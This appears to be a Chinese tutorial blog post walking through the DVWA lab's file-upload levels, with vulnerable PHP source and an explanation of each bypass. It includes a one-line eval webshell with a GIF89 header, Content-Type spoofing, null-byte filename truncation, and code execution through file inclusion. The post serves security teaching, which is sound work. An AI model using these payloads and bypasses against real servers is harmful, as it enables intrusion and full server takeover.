DVWA靶场-文件上传漏洞

第五关:File upload(文件上传)

      文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。
DVWA靶场-文件上传漏洞_第1张图片

Low


if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } ?>

basename(str,name)
      函数返回路径中的文件名部分,如果可选参数name为空,则返回的文件名包含后缀名,反之不包含后缀名。
      对源码分析可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。文件上传没有做任何限制,可以上传任何文件,在上传一句话木马,然后通过蚁剑或者中国菜刀拿到webshell。
在这里插入图片描述

      上传成功后,页面返回的信息

DVWA靶场-文件上传漏洞_第2张图片

      使用蚁剑直接连接,口令为hacker,然后蚁剑就会通过向服务器发送包含hacker参数的post请求,在服务器上执行任意命令,获取webshell权限,进入网站后台。可以下载、修改服务器的所有文件。如下图
DVWA靶场-文件上传漏洞_第3张图片
DVWA靶场-文件上传漏洞_第4张图片

Medium


if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } ?>

分析代码发现,程序对上传的文件类型的大小做了限制,文件类型必须为image/jpeg和image/png,且文件大小要小于100000b
当上传php文件时,页面将提示错误
DVWA靶场-文件上传漏洞_第5张图片

使用burp suite抓包修改Content-Type类型
DVWA靶场-文件上传漏洞_第6张图片
DVWA靶场-文件上传漏洞_第7张图片

使用00截断绕过
在php<5.3.4中,处理字符串的函数认为0x00是终止符。那么我们可以利用 00截断 的方法来上传一句话木马。网站上传函数处理a.php%00.jpg时,首先后缀名是合法的jpg格式,可以上传,在点击上传后,使用burpsuite进行抓包拦截,点击右键发送至repeater模块,选择 %00 右键进行url-decode编码,之后点击send发送,可以看见文件a.php上传成功。然后就可以用菜刀连接了。(或者将上传的php文件命名为a.php .jpg[中间有空格],抓包后选择repeater模块,之后点击hex选择十六进制编码,在该文件名对应的行数,将 20 改为 00,之后选择send发送,也可使php文件上传成功)

DVWA靶场-文件上传漏洞_第8张图片
DVWA靶场-文件上传漏洞_第9张图片

DVWA靶场-文件上传漏洞_第10张图片

High


if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } ?>

strrpos(string , find ,start): 查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length): 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度
strtolower(string): 返回给定字符串的小写
getimagesize(string): 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING级的错误。所以 getimagesize函数的作用是判断上传的文件是不是有效的图片
move_uploaded_file(file,newlocal) 函数表示把给定的文件移动到新的位置

因此,上传文件名为1.jpg,且文件内容为,此时页面将报错,显示上传失败,因为getimagesize()函数判断该文件不是有效的图片文件,所有需要在文件中加入文件头。

GIF89
 @eval($_POST['hacker']); ?>

在文件1.jpg中加入上面的字符,即显示上传文件成功,但是作为图片文件不能被当作php文件执行,因此可以利用文件包含漏洞,将上传的图片文件作为php文件执行。并可以使用中国菜刀进行连接,获取webshell。连接url为http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file://D:/phpStudy/WWW/DVWA-1.9/1.jpg

Impossible


if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "
${target_file} succesfully uploaded!
"
; } else { // No echo '
Your image was not uploaded.
'
; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } // Generate Anti-CSRF token generateSessionToken(); ?>

imagecreatefromjpeg(filename): 从给定的文件或url中创建一个新的图片

imagejpeg(image,filename,quality): 从image图像中以 filename 文件名创建一个jpeg的图片,参数quality可选,0-100 (质量从小到大)

imagedestroy(image): 销毁图像

分析源码可以看到,代码中加入了token机制用于防御CSRF攻击,并对文件名进行了MD5加密,防止了00截断绕过过滤规则,同时对文件后缀和文件类型做了白名单设置,并且还对文件内容作了严格的检查,不符合图片的内容一律舍弃,导致攻击者无法将含有恶意代码的图片上传成功。

你可能感兴趣的:(DVWA靶场,安全,web安全)